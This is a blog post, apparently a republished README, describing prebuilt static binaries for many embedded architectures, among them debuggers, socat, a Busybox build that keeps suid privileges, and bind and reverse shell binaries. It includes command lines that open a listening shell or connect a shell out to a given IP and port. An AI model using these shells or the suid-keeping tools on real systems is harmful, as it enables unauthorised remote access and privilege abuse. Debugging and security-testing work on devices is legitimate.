software

Prebuilt Multi-Arch Binaries for Enhanced Device Management

Prebuilt binaries for multiple architeture (arm, armeb, aarch64, aarch64_be, mips, mips1, mipsel, mipsel1, mips64, mips64el, powerpc, powerpc64, powerpc64le, riscv64, i586, x86_64)

All binaries are statically linked and stripped.

Please go to the Release page for downloads. *archName*_tools.zip contains tools’ binary (see Tools Section) for that specific arch, and allinone.zip contains all of it.

Or download single file directly from bin branch.

The source code and scripts can be found in the branch.

Buildroot

  • MIPS-I and MIPSEL-I are using buildroot 2014.11 because they remove support after that version.
  • Others are using buildroot 2019.11.1
  • ompiled toolchain can be found at action’s artifacts page (mips1/mipsel1 are file packages from output/host, others are from make sdk)

Tools

  • gdb (mips1/mips1el are using gdb 7.12.1, others are 8.3.1)
  • socat
  • Busybox (And busybox_nodrop is the one that replaces all BB_SUID_DROP with BB_SUID_MAYBE, which means it will not drop suid in applets.)
  • bind/reverse shell
  • bind/reverse shell.so library (barely tested)
  • tcpdump
  • strace
  • Dropbear(mips1/mips1el are not static link :( )
  • lsof

Bind/Reverse Shell binary

  • Run the bind shell without arguments like ./bind_shell will listen on port 3343 and ./bind_shell 6666 will listen on 6666.
  • Run the reverse shell binary without arguments will connect to 127.0.0.1:3343. One could use a hex editor to change the cstring, which contains the ip/port. or ./reverse_shell 1.1.1.1 12345 will connect to 1.1.1.1:12345; ./reverse_shell 1.1.1.1 will connect to 1.1.1.1:3343

gdb (Important)

  • gdbserver is compiled without libthread_db.
  • gdb need libthread_db.so.1 to support multithreaded debugging. If you run into SIGSEGV when r the program, run set libthread-db-search-path 0 in gdb first, then there will be warning about libthread_db.so.1, Just ignore it.

Github Actions

The config file for buildroot and github actions’ workflow file are in the src branch.

Varshini

Varshini is a Cyber Security expert in Threat Analysis, Vulnerability Assessment, and Research. Passionate about staying ahead of emerging Threats and Technologies.

Recent Posts

git fetch vs git pull: How They Work and When to Use Each

Both git fetch and git pull talk to a remote repository, but they do very different things to your…

3 days ago

git cherry-pick Command: Apply Commits from Another Branch

Sometimes the change you need already exists, just on the wrong branch. A hotfix lands…

3 days ago

Best Email APIs for Secure Business Email: Why Developers Are Moving Beyond SMTP

Email is still one of the most important communication channels inside modern applications. Password resets,…

4 days ago

Nginx Commands in Linux: Start, Stop, Reload, Test, and Log

Nginx is a high-performance web server and reverse proxy trusted by some of the largest…

1 week ago

ufw Command in Linux: Manage Firewall Rules with Examples

ufw (Uncomplicated Firewall) sits on top of iptables (or nftables on newer systems) and replaces…

1 week ago

who Command in Linux: Show All Logged-In Users and Sessions

When you share a server with a team or investigate unexpected activity, the first question…

1 week ago